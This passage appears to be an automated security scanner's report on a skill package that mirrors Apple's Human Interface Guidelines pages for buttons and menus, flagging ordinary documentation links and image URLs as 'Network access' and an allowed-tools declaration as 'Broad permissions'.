    **Use a toolbar to place buttons in the corners.** The system automatically moves the time and title to accommodate toolbar buttons. The system also applies the [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/ma
  • Network accessline 221
    ![An illustration showing toolbar buttons in the top leading and trailing corners, as well as three toolbar buttons across the bottom of the screen.](https://docs-assets.developer.apple.com/published/28835a2c6f34513eb0758beef1f6015d/buttons
  • Network accessline 229
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/buttons#Resources)
  • Network accessline 231
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/buttons#Related)
  • Network accessline 233
    [Pop-up buttons](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons)
  • Network accessline 235
    [Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons)
  • Network accessline 237
    [Toggles](https://developer.apple.com/design/human-interface-guidelines/toggles)
  • Network accessline 239
    [Segmented controls](https://developer.apple.com/design/human-interface-guidelines/segmented-controls)
  • Network accessline 241
    [Location button](https://developer.apple.com/design/human-interface-guidelines/privacy#Location-button)
  • Network accessline 243
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/buttons#Developer-documentation)
  • Network accessline 245
    [`Button`](https://developer.apple.com/documentation/SwiftUI/Button) — SwiftUI
  • Network accessline 247
    [`UIButton`](https://developer.apple.com/documentation/UIKit/UIButton) — UIKit
  • Network accessline 249
    [`NSButton`](https://developer.apple.com/documentation/AppKit/NSButton) — AppKit
  • Network accessline 251
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/buttons#Change-log)

skills/hig-components-menus/references/context-menus.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Context menus | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/context-menus
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/context-menus
  • Network accessline 9
    ![A stylized representation of a contextual menu beneath a clicking pointer. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/6145c402544704012a48978c
  • Network accessline 22
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/context-menus#Best-practices)
  • Network accessline 32
    **If you need to use submenus to manage a menu’s complexity, keep them to one level.** A submenu is a menu item that reveals a secondary menu of logically related commands. Although submenus can shorten a context menu and clarify its comman
  • Network accessline 40
    **Follow best practices for using separators.** As with other types of menus, you can use separators to group items in a context menu and help people scan the menu more quickly. In general, you don’t want more than about three groups in a c
  • Network accessline 42
    **In iOS, iPadOS, and visionOS, warn people about context menu items that can destroy data.** If you need to include potentially destructive items in your context menu — such as Delete or Remove — list them at the end of the menu and identi
  • Network accessline 44
    ## [Content](https://developer.apple.com/design/human-interface-guidelines/context-menus#Content)
  • Network accessline 46
    A context menu seldom displays a title. In contrast, each item in a context menu needs to display a short label that clearly describes what it does. For guidance, see [Menus > Labels](https://developer.apple.com/design/human-interface-guide
  • Network accessline 50
    **Represent menu item actions with familiar icons.** Icons help people recognize common actions throughout your app. Use the same icons as the system to represent actions such as Copy, Share, and Delete, wherever they appear. For a list of 
  • Network accessline 52
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/context-menus#Platform-considerations)
  • Network accessline 56
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/context-menus#iOS-iPadOS)
  • Network accessline 58
    **Provide either a context menu or an edit menu for an item, but not both.** If you provide both features for the same item, it can be confusing to people — and difficult for the system to detect their intent. See [Edit menus](https://devel
  • Network accessline 66
    **Ensure that your preview looks good as it animates.** As people reveal a context menu on an onscreen object, the system animates the preview image as it emerges from the content, dimming the screen behind the preview and the menu. It’s im
  • Network accessline 68
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/context-menus#macOS)
  • Network accessline 72
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/context-menus#visionOS)
  • Network accessline 78
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/context-menus#Resources)
  • Network accessline 80
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/context-menus#Related)
  • Network accessline 82
    [Menus](https://developer.apple.com/design/human-interface-guidelines/menus)
  • Network accessline 84
    [Edit menus](https://developer.apple.com/design/human-interface-guidelines/edit-menus)
  • Network accessline 86
    [Pop-up buttons](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons)
  • Network accessline 88
    [Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons)
  • Network accessline 90
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/context-menus#Developer-documentation)
  • Network accessline 92
    [`contextMenu(menuItems:)`](https://developer.apple.com/documentation/SwiftUI/View/contextMenu\(menuItems:\)) — SwiftUI
  • Network accessline 94
    [`UIContextMenuInteraction`](https://developer.apple.com/documentation/UIKit/UIContextMenuInteraction) — UIKit
  • Network accessline 96
    [`popUpContextMenu(_:with:for:)`](https://developer.apple.com/documentation/AppKit/NSMenu/popUpContextMenu\(_:with:for:\)) — AppKit
  • Network accessline 98
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/context-menus#Change-log)

skills/hig-components-menus/references/disclosure-controls.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Disclosure controls | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/disclosure-controls
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/disclosure-controls
  • Network accessline 9
    ![A stylized representation of collapsed and expanded disclosure buttons. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/d9f8c2e1696219ad884582186a4
  • Network accessline 11
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Best-practices)
  • Network accessline 15
    ## [Disclosure triangles](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Disclosure-triangles)
  • Network accessline 24
    ![An illustration of three folders in a Finder list view. The folders are collapsed, with disclosure triangles on their leading edges pointing inward to indicate that they can be expanded to reveal their contents.](https://docs-assets.devel
  • Network accessline 26
    ![An illustration of three folders in a Finder list view. The first and third folders are collapsed, with disclosure triangles on their leading edges pointing inward to indicate that they can be expanded to reveal their contents. The second
  • Network accessline 32
    For developer guidance, see [`NSButton.BezelStyle.disclosure`](https://developer.apple.com/documentation/AppKit/NSButton/BezelStyle-swift.enum/disclosure).
  • Network accessline 34
    ## [Disclosure buttons](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Disclosure-buttons)
  • Network accessline 45
    ![A screenshot of a collapsed save dialog in macOS. The dialog includes a closed disclosure button that expands the dialog to reveal additional options.](https://docs-assets.developer.apple.com/published/6d405bc1e4bd3743e610bf3dd4e17161/dis
  • Network accessline 47
    ![A screenshot of an expanded save dialog in macOS. The dialog includes an open disclosure button that collapses the dialog to hide some options.](https://docs-assets.developer.apple.com/published/1d543abc1f07f34a01c63a3aac067ccd/disclosure
  • Network accessline 53
    For developer guidance, see [`NSButton.BezelStyle.pushDisclosure`](https://developer.apple.com/documentation/AppKit/NSButton/BezelStyle-swift.enum/pushDisclosure).
  • Network accessline 55
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Platform-considerations)
  • Network accessline 59
    ### [iOS, iPadOS, visionOS](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#iOS-iPadOS-visionOS)
  • Network accessline 61
    Disclosure controls are available in iOS, iPadOS, and visionOS with the SwiftUI [`DisclosureGroup`](https://developer.apple.com/documentation/SwiftUI/DisclosureGroup) view.
  • Network accessline 63
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Resources)
  • Network accessline 65
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Related)
  • Network accessline 67
    [Outline views](https://developer.apple.com/design/human-interface-guidelines/outline-views)
  • Network accessline 69
    [Lists and tables](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables)
  • Network accessline 71
    [Buttons](https://developer.apple.com/design/human-interface-guidelines/buttons)
  • Network accessline 73
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Developer-documentation)
  • Network accessline 75
    [`DisclosureGroup`](https://developer.apple.com/documentation/SwiftUI/DisclosureGroup) — SwiftUI
  • Network accessline 77
    [`NSButton.BezelStyle.disclosure`](https://developer.apple.com/documentation/AppKit/NSButton/BezelStyle-swift.enum/disclosure) — AppKit
  • Network accessline 79
    [`NSButton.BezelStyle.pushDisclosure`](https://developer.apple.com/documentation/AppKit/NSButton/BezelStyle-swift.enum/pushDisclosure) — AppKit
  • Network accessline 81
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/disclosure-controls#Videos)
  • Network accessline 83
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/1636D358-5C36-4027-B204-81FFE4D05B7D/3455_wide_250x141_1x.jpg) Stacks, Grids, and Outlines in SwiftUI ](https://developer.apple.com/videos/play/wwdc2020/10031)

skills/hig-components-menus/references/dock-menus.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Dock menus | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/dock-menus
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/dock-menus
  • Network accessline 9
    ![A stylized representation of a menu extending from an icon in the Dock. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/b09af2b90f697b3e25f1985cce9
  • Network accessline 15
    Although iOS and iPadOS don’t support a Dock menu, people can reveal a similar menu of system-provided and custom items — called Home Screen quick actions — when they long press an app icon on the Home Screen or in the Dock. For guidance, s
  • Network accessline 17
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/dock-menus#Best-practices)
  • Network accessline 19
    As with all menus, you need to label Dock menu items succinctly and organize them logically. For guidance, see [Menus](https://developer.apple.com/design/human-interface-guidelines/menus).
  • Network accessline 25
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/dock-menus#Platform-considerations)
  • Network accessline 29
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/dock-menus#Resources)
  • Network accessline 31
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/dock-menus#Related)
  • Network accessline 33
    [Menus](https://developer.apple.com/design/human-interface-guidelines/menus)
  • Network accessline 35
    [Home Screen quick actions](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions)
  • Network accessline 37
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/dock-menus#Developer-documentation)
  • Network accessline 39
    [`applicationDockMenu(_:)`](https://developer.apple.com/documentation/AppKit/NSApplicationDelegate/applicationDockMenu\(_:\)) — AppKit

skills/hig-components-menus/references/edit-menus.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Edit menus | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/edit-menus
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/edit-menus
  • Network accessline 9
    ![A stylized representation of an edit menu extending from selected text. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/2ee5b60d3d9877b65df7633d032
  • Network accessline 15
    * In iOS, the edit menu displays commands in a compact, horizontal list that appears when people touch and hold or double-tap to select content in a view. People can tap a chevron on the trailing edge to expand it into a [context menu](http
  • Network accessline 19
    * In macOS, people can access editing commands in a context menu they can reveal while in an editing task, as well as through the app’s [Edit menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Edit-menu) in the
  • Network accessline 21
    * In visionOS, people use the standard [pinch and hold](https://developer.apple.com/design/human-interface-guidelines/gestures#Standard-gestures) gesture to open the edit menu as a horizontal bar, or they can open it in a context menu.
  • Network accessline 28
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Best-practices)
  • Network accessline 30
    **Prefer the system-provided edit menu.** People are familiar with the contents and behavior of the system-provided component, so creating a custom menu that presents the same commands is redundant and likely to be confusing. For a list of 
  • Network accessline 40
    **Support undo and redo when possible.** Like all menus, an edit menu doesn’t require confirmation before performing its actions, so people can easily use undo and redo to recover a previous state. For guidance, see [Undo and redo](https://
  • Network accessline 46
    ## [Content](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Content)
  • Network accessline 48
    **Create short labels for custom commands.** Use verbs or short verb phrases that succinctly describe the action your command performs. For guidance, see [Labels](https://developer.apple.com/design/human-interface-guidelines/labels).
  • Network accessline 50
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Platform-considerations)
  • Network accessline 54
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/edit-menus#iOS-iPadOS)
  • Network accessline 56
    **Ensure your edit menu works well in both styles.** The system displays the compact, horizontal style when people use Multi-Touch gestures to reveal the edit menu, and the vertical style when people use a keyboard or pointing device to rev
  • Network accessline 60
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/edit-menus#macOS)
  • Network accessline 62
    To learn about the order of items in a macOS app’s Edit menu, see [Edit menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Edit-menu).
  • Network accessline 64
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Resources)
  • Network accessline 66
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Related)
  • Network accessline 68
    [Menus](https://developer.apple.com/design/human-interface-guidelines/menus)
  • Network accessline 70
    [Context menus](https://developer.apple.com/design/human-interface-guidelines/context-menus)
  • Network accessline 72
    [The menu bar](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar)
  • Network accessline 74
    [Undo and redo](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo)
  • Network accessline 76
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Developer-documentation)
  • Network accessline 78
    [`UIEditMenuInteraction`](https://developer.apple.com/documentation/UIKit/UIEditMenuInteraction) — UIKit
  • Network accessline 80
    [`NSMenu`](https://developer.apple.com/documentation/AppKit/NSMenu) — AppKit
  • Network accessline 82
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/edit-menus#Change-log)

skills/hig-components-menus/references/menus.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Menus | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/menus
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/menus
  • Network accessline 9
    ![A stylized representation of a menu containing a selected item and displaying a submenu. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/a64b5649dc
  • Network accessline 15
    Several system-provided components also include menus that support specific use cases. For example, a [pop-up button](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons) or [pull-down button](https://developer.appl
  • Network accessline 17
    ## [Labels](https://developer.apple.com/design/human-interface-guidelines/menus#Labels)
  • Network accessline 23
    Depending on menu layout, an iOS, iPadOS, or visionOS app can display a few unlabeled menu items that use only symbols or icons to identify them. For guidance, see [visionOS](https://developer.apple.com/design/human-interface-guidelines/men
  • Network accessline 25
    **For each menu item, write a label that clearly and succinctly describes it.** In general, label a menu item that initiates an action using a verb or verb phrase that describes the action, such as View, Close, or Select. For guidance label
  • Network accessline 27
    **To be consistent with platform experiences, use title-style capitalization.** Although a game might have a different writing style, generally prefer using title-style capitalization, which capitalizes every word except articles, coordinat
  • Network accessline 35
    ## [Icons](https://developer.apple.com/design/human-interface-guidelines/menus#Icons)
  • Network accessline 37
    **Represent menu item actions with familiar icons.** Icons help people recognize common actions throughout your app. Use the same icons as the system to represent actions such as Copy, Share, and Delete, wherever they appear. For a list of 
  • Network accessline 41
    ![An illustration of a menu containing the days of the week. Each menu item is represented by a different symbol with no relation to the corresponding day.](https://docs-assets.developer.apple.com/published/e612c40d780feb72382a1d387aa556f6/
  • Network accessline 43
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 45
    ![An illustration of a menu containing the days of the week with no accompanying symbols.](https://docs-assets.developer.apple.com/published/72bddfbe313d096cac7f09d136d2a601/menus-days-of-the-week-correct-no-icons%402x.png)
  • Network accessline 47
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 51
    ![An illustration of an Edit menu that includes several similar Copy actions, with each represented by a different symbol.](https://docs-assets.developer.apple.com/published/7deb98def27f19a33794b9ec6cee02b4/menus-copy-actions-different-icon
  • Network accessline 53
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 55
    ![An illustration of an Edit menu that includes several similar Copy actions, with each represented by the same Copy symbol.](https://docs-assets.developer.apple.com/published/60241bb399a7e5faa06e9e53de4d858b/menus-copy-actions-repeated-ico
  • Network accessline 57
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 59
    ![An illustration of an Edit menu that includes several similar Copy actions. The first is represented by the Copy symbol, and the others with no symbol.](https://docs-assets.developer.apple.com/published/ee3e63278a8b0b023e35e963077f2596/me
  • Network accessline 61
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 63
    ## [Organization](https://developer.apple.com/design/human-interface-guidelines/menus#Organization)
  • Network accessline 75
    ## [Submenus](https://developer.apple.com/design/human-interface-guidelines/menus#Submenus)
  • Network accessline 87
    ## [Toggled items](https://developer.apple.com/design/human-interface-guidelines/menus#Toggled-items)
  • Network accessline 101
    ## [In-game menus](https://developer.apple.com/design/human-interface-guidelines/menus#In-game-menus)
  • Network accessline 103
    In-game menus give players ways to control gameplay as well as determine [settings](https://developer.apple.com/design/human-interface-guidelines/settings) for the game as a whole.
  • Network accessline 107
    **Make sure your menus remain easy to open and read on all platforms you support.** Each platform defines specific sizes that work best for fonts and interaction targets. Sometimes, scaling your game content to display on a different screen
  • Network accessline 109
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/menus#Platform-considerations)
  • Network accessline 113
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/menus#iOS-iPadOS)
  • Network accessline 117
    ![A diagram showing small, medium, and large menu layouts, each containing the same set of menu items.](https://docs-assets.developer.apple.com/published/d04cabb2d7b38602590cd6d59d79a0a0/small-medium-large-menu-layouts%402x.png)
  • Network accessline 128
    For developer guidance, see [`preferredElementSize`](https://developer.apple.com/documentation/UIKit/UIMenu/preferredElementSize).
  • Network accessline 132
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/menus#visionOS)
  • Network accessline 134
    In visionOS, a menu can display items using the small or large layout styles that iOS and iPadOS define (for guidance, see [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/menus#iOS-iPadOS)). You can present a men
  • Network accessline 138
    ![A partial screenshot showing an app window in visionOS. The window contains several buttons, including a 'More' button, which is selected. A menu containing a list of actions is displayed beneath the button.](https://docs-assets.developer
  • Network accessline 140
    **Prefer the subtle breakthrough effect in most cases.** This effect blends the presentation with its surrounding content, to maintain legibility and usability while preserving the depth and context of the scene. When you select [`automatic
  • Network accessline 142
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/menus#Resources)
  • Network accessline 144
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/menus#Related)
  • Network accessline 146
    [Pop-up buttons](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons)
  • Network accessline 148
    [Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons)
  • Network accessline 150
    [Context menus](https://developer.apple.com/design/human-interface-guidelines/context-menus)
  • Network accessline 152
    [The menu bar](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar)
  • Network accessline 154
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/menus#Developer-documentation)
  • Network accessline 156
    [`Menu`](https://developer.apple.com/documentation/SwiftUI/Menu) — SwiftUI
  • Network accessline 158
    [Menus and shortcuts](https://developer.apple.com/documentation/UIKit/menus-and-shortcuts) — UIKit
  • Network accessline 160
    [Menus](https://developer.apple.com/documentation/AppKit/menus) — AppKit
  • Network accessline 162
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/menus#Change-log)

skills/hig-components-menus/references/pop-up-buttons.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Pop-up buttons | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons
  • Network accessline 9
    ![A stylized representation of a pop-up button displaying a set of options. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/334ac7588fce25fa319c3ef61
  • Network accessline 13
    ![A screenshot of Calendar on iPhone, with a new calendar event open for editing. The editing screen contains controls for setting the details of the event, including its start and end dates, travel time, repeat interval, calendar, invitees
  • Network accessline 15
    ![A screenshot of Calendar on iPhone, with a new calendar event open for editing. A pop-up button menu emerges from the Repeat button, with options for choosing a repeat interval from a list of preset options, or creating a custom one.](htt
  • Network accessline 17
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#Best-practices)
  • Network accessline 19
    **Use a pop-up button to present a flat list of mutually exclusive options or states.** A pop-up button helps people make a choice that affects their content or the surrounding view. Use a [pull-down button](https://developer.apple.com/desi
  • Network accessline 38
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#Platform-considerations)
  • Network accessline 42
    ### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#iPadOS)
  • Network accessline 46
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#Resources)
  • Network accessline 48
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#Related)
  • Network accessline 50
    [Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons)
  • Network accessline 52
    [Buttons](https://developer.apple.com/design/human-interface-guidelines/buttons)
  • Network accessline 54
    [Menus](https://developer.apple.com/design/human-interface-guidelines/menus)
  • Network accessline 56
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#Developer-documentation)
  • Network accessline 58
    [`MenuPickerStyle`](https://developer.apple.com/documentation/SwiftUI/MenuPickerStyle) — SwiftUI
  • Network accessline 60
    [`changesSelectionAsPrimaryAction`](https://developer.apple.com/documentation/UIKit/UIButton/changesSelectionAsPrimaryAction) — UIKit
  • Network accessline 62
    [`NSPopUpButton`](https://developer.apple.com/documentation/AppKit/NSPopUpButton) — AppKit
  • Network accessline 64
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons#Change-log)

skills/hig-components-menus/references/pull-down-buttons.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Pull-down buttons | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons
  • Network accessline 9
    ![A stylized representation of a pull-down menu displaying a set of items. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/dbe57c62e67b173fe5203469df
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons#Best-practices)
  • Network accessline 26
    If you need to provide a list of mutually exclusive choices that aren’t commands, use a [pop-up button](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons) instead.
  • Network accessline 34
    **Let people know when a pull-down button’s menu item is destructive, and ask them to confirm their intent.** Menus use red text to highlight actions that you identify as potentially destructive. When people choose a destructive action, the
  • Network accessline 36
    **Include an interface icon with a menu item when it provides value.** If you need to clarify an item’s meaning, you can display an [icon](https://developer.apple.com/design/human-interface-guidelines/icons) or image after its label. Using 
  • Network accessline 38
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons#Platform-considerations)
  • Network accessline 42
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons#iOS-iPadOS)
  • Network accessline 50
    ![A screenshot of the Notes app on iPhone, open to a Notes document titled Nature Walks. The top toolbar includes a More button on the trailing edge.](https://docs-assets.developer.apple.com/published/5cdc980290422f59da0f79ab5f5efd13/menu-s
  • Network accessline 52
    ![A screenshot of the Notes app on iPhone, open to a Notes document titled Nature Walks. The More button in the top toolbar is expanded, revealing the More menu with additional funtionality.](https://docs-assets.developer.apple.com/publishe
  • Network accessline 54
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons#Resources)
  • Network accessline 56
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons#Related)
  • Network accessline 58
    [Pop-up buttons](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons)
  • Network accessline 60
    [Buttons](https://developer.apple.com/design/human-interface-guidelines/buttons)
  • Network accessline 62
    [Menus](https://developer.apple.com/design/human-interface-guidelines/menus)
  • Network accessline 64
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons#Developer-documentation)
  • Network accessline 66
    [`MenuPickerStyle`](https://developer.apple.com/documentation/SwiftUI/MenuPickerStyle) — SwiftUI
  • Network accessline 68
    [`showsMenuAsPrimaryAction`](https://developer.apple.com/documentation/UIKit/UIControl/showsMenuAsPrimaryAction) — UIKit
  • Network accessline 70
    [`pullsDown`](https://developer.apple.com/documentation/AppKit/NSPopUpButton/pullsDown) — AppKit
  • Network accessline 72
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons#Change-log)

skills/hig-components-menus/references/the-menu-bar.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "The menu bar | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/the-menu-bar
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/the-menu-bar
  • Network accessline 9
    ![A stylized representation of the macOS menu bar displaying a selected menu. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/1196662c916a44013329c4c
  • Network accessline 15
    Keyboard shortcuts in iPadOS use the same patterns as in macOS. For guidance, see [Standard keyboard shortcuts](https://developer.apple.com/design/human-interface-guidelines/keyboards#Standard-keyboard-shortcuts).
  • Network accessline 17
    ![An illustration of an app window on iPad, with its menu bar appearing at the top of the screen and the Edit menu open.](https://docs-assets.developer.apple.com/published/7c3a4ae9470f62e0eb41b8ce297032f8/menu-bar-ipad-overview%402x.png)
  • Network accessline 19
    Menus in the menu bar share most of the appearance and behavior characteristics that all menu types have. To learn about menus in general — and how to organize and label menu items — see [Menus](https://developer.apple.com/design/human-inte
  • Network accessline 21
    ## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Anatomy)
  • Network accessline 44
    In addition, the macOS menu bar includes the Apple menu on the leading side and menu bar extras on the trailing side. See [macOS Platform considerations](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#macOS) for 
  • Network accessline 46
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Best-practices)
  • Network accessline 52
    **Represent menu item actions with familiar icons.** Icons help people recognize common actions throughout your app. Use the same icons as the system to represent actions such as Copy, Share, and Delete, wherever they appear. For a list of 
  • Network accessline 54
    **Support the keyboard shortcuts defined for the standard menu items you include.** People expect to use the keyboard shortcuts they already know for standard menu items, like Copy, Cut, Paste, Save, and Print. Define custom keyboard shortc
  • Network accessline 58
    ## [App menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#App-menu)
  • Network accessline 65
    ---|---|---   About _YourAppName_|  Displays the About window for your app, which includes copyright and version information.| Prefer a short name of 16 characters or fewer. Don’t include a version number.   Settings…| Opens your [settings]
  • Network accessline 66
    About _YourAppName_|  Displays the About window for your app, which includes copyright and version information.| Prefer a short name of 16 characters or fewer. Don’t include a version number.   Settings…| Opens your [settings](https://devel
  • Network accessline 67
    Settings…| Opens your [settings](https://developer.apple.com/design/human-interface-guidelines/settings) window, or your app’s page in iPadOS Settings.| Use only for app-level settings. If you also offer document-specific settings, put them
  • Network accessline 77
    ## [File menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#File-menu)
  • Network accessline 101
    ## [Edit menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Edit-menu)
  • Network accessline 127
    ## [Format menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Format-menu)
  • Network accessline 138
    ## [View menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#View-menu)
  • Network accessline 144
    The View menu doesn’t include items for navigating between or managing specific windows; the [Window menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Window-menu) provides these commands.
  • Network accessline 152
    Menu item| Action   ---|---   Show/Hide Tab Bar| Toggles the visibility of the [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-bars) above the body area in a tab-based window
  • Network accessline 153
    ---|---   Show/Hide Tab Bar| Toggles the visibility of the [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-bars) above the body area in a tab-based window   Show All Tabs/Exit Tab Overview| Enters and exits a vie
  • Network accessline 154
    Show/Hide Tab Bar| Toggles the visibility of the [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-bars) above the body area in a tab-based window
  • Network accessline 155
